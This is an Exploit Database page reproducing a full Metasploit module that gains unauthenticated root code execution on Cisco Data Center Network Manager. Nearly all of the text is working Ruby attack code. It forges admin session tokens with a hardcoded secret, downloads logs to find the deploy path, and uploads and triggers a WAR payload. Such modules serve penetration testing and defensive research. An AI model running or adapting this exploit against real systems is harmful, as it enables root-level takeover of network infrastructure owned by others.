Cisco Data Center Network Manager – Unauthenticated Remote Code Execution (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2019-09-03
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/47347/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',
  'Description'=> %q{
  DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.
  An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps
  directory and achieve remote code execution as root.
  This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on
  versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct
  directory for the WAR file upload.
  This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
  work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
  (see References to understand why).
  },
  'Author' =>
  [
  'Pedro Ribeiro <pedrib[at]gmail.com>'# Vulnerability discovery and Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2019-1619' ], # auth bypass
  [ 'CVE', '2019-1620' ], # file upload
  [ 'CVE', '2019-1622' ], # log download
  [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
  [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
  [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],
  [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],
  [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
  ],
  'Platform' => 'java',
  'Arch' => ARCH_JAVA,
  'Targets'=>
  [
  [ 'Automatic', {} ],
  [
  'Cisco DCNM 11.1(1)', {}
  ],
  [
  'Cisco DCNM 11.0(1)', {}
  ],
  [
  'Cisco DCNM 10.4(2)', {}
  ]
  ],
  'Privileged' => true,
  'DefaultOptions' => { 'WfsDelay' => 10 },
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Jun 26 2019'
  ))
  
  register_options(
  [
  Opt::RPORT(443),
  OptBool.new('SSL', [true, 'Connect with TLS', true]),
  OptString.new('TARGETURI', [true,"Default server path", '/']),
  OptString.new('USERNAME', [true,"Username for auth (required only for 11.0(1) and above", 'admin']),
  OptString.new('PASSWORD', [true,"Password for auth (required only for 11.0(1) and above", 'admin']),
  ])
  end
  
  def check
  # at the moment this is the best way to detect
  # check if pmreport and fileUpload servlets return a 500 error with no params
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm', 'pmreport'),
  'vars_get'=>
  {
  'token'=> rand_text_alpha(5..20)
  },
  'method' => 'GET'
  )
  if res && res.code == 500
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm', 'fileUpload'),
  'method' => 'GET',
  )
  if res && res.code == 500
  return CheckCode::Detected
  end
  end
  
  CheckCode::Unknown
  end
  
  def target_select
  if target != targets[0]
  return target
  else
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
  'method' => 'GET'
  )
  if res && res.code == 200
  if res.body.include?('version":"11.1(1)')
  print_good("#{peer} - Detected DCNM 11.1(1)")
  print_status("#{peer} - No authentication required, ready to exploit!")
  return targets[1]
  elsif res.body.include?('version":"11.0(1)')
  print_good("#{peer} - Detected DCNM 11.0(1)")
  print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
  return targets[2]
  elsif res.body.include?('version":"10.4(2)')
  print_good("#{peer} - Detected DCNM 10.4(2)")
  print_status("#{peer} - No authentication required, ready to exploit!")
  return targets[3]
  else
  print_error("#{peer} - Failed to detect target version.")
  print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
  print_error(res.body)
  print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")
  return targets[3]
  end
  end
  fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")
  end
  end
  
  def auth_v11
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm/'),
  'method' => 'GET',
  'vars_get'=>
  {
  'userName'=> datastore['USERNAME'],
  'password'=> datastore['PASSWORD']
  },
  )
  
  if res && res.code == 200
  # get the JSESSIONID cookie
  if res.get_cookies
  res.get_cookies.split(';').each do |cok|
  if cok.include?("JSESSIONID")
  return cok
  end
  end
  end
  end
  end
  
  def auth_v10
  # step 1: get a JSESSIONID cookie and the server Date header
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm/'),
  'method' => 'GET'
  )
  
  # step 2: convert the Date header and create the auth hash
  if res && res.headers['Date']
  jsession = res.get_cookies.split(';')[0]
  date = Time.httpdate(res.headers['Date'])
  server_date = date.strftime("%s").to_i * 1000
  print_good("#{peer} - Got sysTime value #{server_date.to_s}")
  
  # auth hash format:
  # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
  session_id = rand(1000..50000).to_s
  md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
  "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
  md5_str = Base64.strict_encode64(md5)
  
  # step 3: authenticate our cookie as admin
  # token format: sessionId.sysTime.md5_str.username
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm', 'pmreport'),
  'cookie' => jsession,
  'vars_get'=>
  {
  'token'=> "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
  },
  'method' => 'GET'
  )
  
  if res && res.code == 500
  return jsession
  end
  end
  end
  
  # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log
  def get_war_path
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),
  'method' => 'GET'
  )
  
  if res && res.code == 200
  tmp = Tempfile.new
  # we have to drop this into a file first
  # else we will get a Zip::GPFBit3Error if we use an InputStream
  File.binwrite(tmp, res.body)
  Zip::File.open(tmp) do |zis|
  zis.each do |entry|
  if entry.name =~ /jboss[0-9]*\.log/
  fdata = zis.read(entry)
  if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/]
  tmp.close
  tmp.unlink
  return $1.strip
  end
  end
  end
  end
  end
  end
  
  
  def exploit
  target = target_select
  
  if target == targets[2]
  jsession = auth_v11
  elsif target == targets[3]
  jsession = auth_v10
  end
  
  # targets[1] DCNM 11.1(1) doesn't need auth!
  if jsession.nil? && target != targets[1]
  fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
  elsif target != targets[1]
  print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
  end
  
  war_path = get_war_path
  if war_path.nil? or war_path.empty?
  fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")
  else
  print_good("#{peer} - Obtain WAR path from logs: #{war_path}")
  end
  
  # Generate our payload... and upload it
  app_base = rand_text_alphanumeric(6..16)
  war_payload = payload.encoded_war({ :app_name => app_base }).to_s
  
  fname = app_base + '.war'
  post_data = Rex::MIME::Message.new
  post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")
  post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")
  post_data.add_part(war_payload,
   "application/octet-stream", 'binary',
   "form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")
  data = post_data.to_s
  
  print_status("#{peer} - Uploading payload...")
  res = send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, 'fm', 'fileUpload'),
  'method' => 'POST',
  'data' => data,
  'cookie' => jsession,
  'ctype'=> "multipart/form-data; boundary=#{post_data.bound}"
  )
  
  if res && res.code == 200 && res.body[/#{fname}/]
  print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")
  
  sleep 10
  
  print_status("#{peer} - Executing payload...")
  send_request_cgi(
  'uri'=> normalize_uri(target_uri.path, app_base),
  'method' => 'GET'
  )
  else
  fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")
  end
  end
  end